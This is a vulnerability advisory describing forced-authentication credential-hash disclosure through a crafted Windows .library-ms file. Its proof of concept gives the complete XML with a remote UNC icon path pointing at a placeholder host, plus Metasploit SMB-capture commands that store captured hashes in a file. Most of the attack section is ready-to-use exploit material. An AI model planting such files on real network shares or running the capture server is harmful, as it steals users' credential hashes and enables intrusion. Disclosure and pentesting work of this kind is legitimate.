[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-.LIBRARY-MS-FILETYPE-INFORMATION-DISCLOSURE.txt [+] ISR: Apparition Security ***Greetz: indoushka|Eduardo*** Vendor ================ www.microsoft.com File format ============ ".library-ms" File Type Operating system file introduced with Microsoft Windows 7, appears as a subfolder within the Libraries folder in the left side panel of the Windows Explorer and includes references to one or more folders that can be browsed when the library is opened. Library description files are XML files that define libraries. Libraries aggregate items from local and remote storage locations into a single view in Windows Explorer. Library description files follow the Library Description schema and are saved as *.library-ms files. Vulnerability Type =================== Information Disclosure Security Issue ================ .library-ms filetype triggers forced authentication when a user/client accesses a remote share that houses an attacker supplied ".library-ms" file, disclosing credential hashes and other identifiable computer informations. This is already a well known issue and therefore is just another attack vector that can be used on a pentest etc. Exploit/POC ============= 1) Create "test.library-ms" using a ATTACKER-IP / Unknown host for the "iconReference" XML Node and place on Network share. <?xml version="1.0" encoding="UTF-8"?> <libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library"> <name>@shell32.dll,-34575</name> <ownerSID>S-1-5-21-372074477-2495183225-776587326-1000</ownerSID> <version>1</version> <isLibraryPinned>true</isLibraryPinned> <iconReference>\\blahblahblahblahblah\poc\,-1002</iconReference> <templateInfo> <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType> </templateInfo> <searchConnectorDescriptionList> <searchConnectorDescription publisher="Microsoft" product="Windows"> <description>@shell32.dll,-34577</description> <isDefaultSaveLocation>true</isDefaultSaveLocation> <simpleLocation> <url>knownfolder:{FDD39AD0-238F-46AF-ADB4-6C85480369C7}</url> <serialized>MBAAAEAFCAAA...MFNVAAAAAA</serialized> </simpleLocation> </searchConnectorDescription> <searchConnectorDescription publisher="Microsoft" product="Windows"> <description>@shell32.dll,-34579</description> <isDefaultNonOwnerSaveLocation>true</isDefaultNonOwnerSaveLocation> <simpleLocation> <url>knownfolder:{ED4824AF-DCE4-45A8-81E2-FC7965083634}</url> <serialized>MBAAAEAFCAAA...HJIfK9AAAAAA</serialized> </simpleLocation> </searchConnectorDescription> </searchConnectorDescriptionList> </libraryDescription> 2) Using smb capture from Kali msf > use auxiliary/server/capture/smb msf auxiliary(smb) > set JOHNPWFILE /tmp/hashes.txt JOHNPWFILE = /tmp/hashes.txt msf auxiliary(smb) > exploit -j [*] Auxiliary module running as background job [*] Server started. msf auxiliary(smb) 3) Access the Network share containing the "test.library-ms" Windows file type. Network Access =============== Remote Severity ========= Medium [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx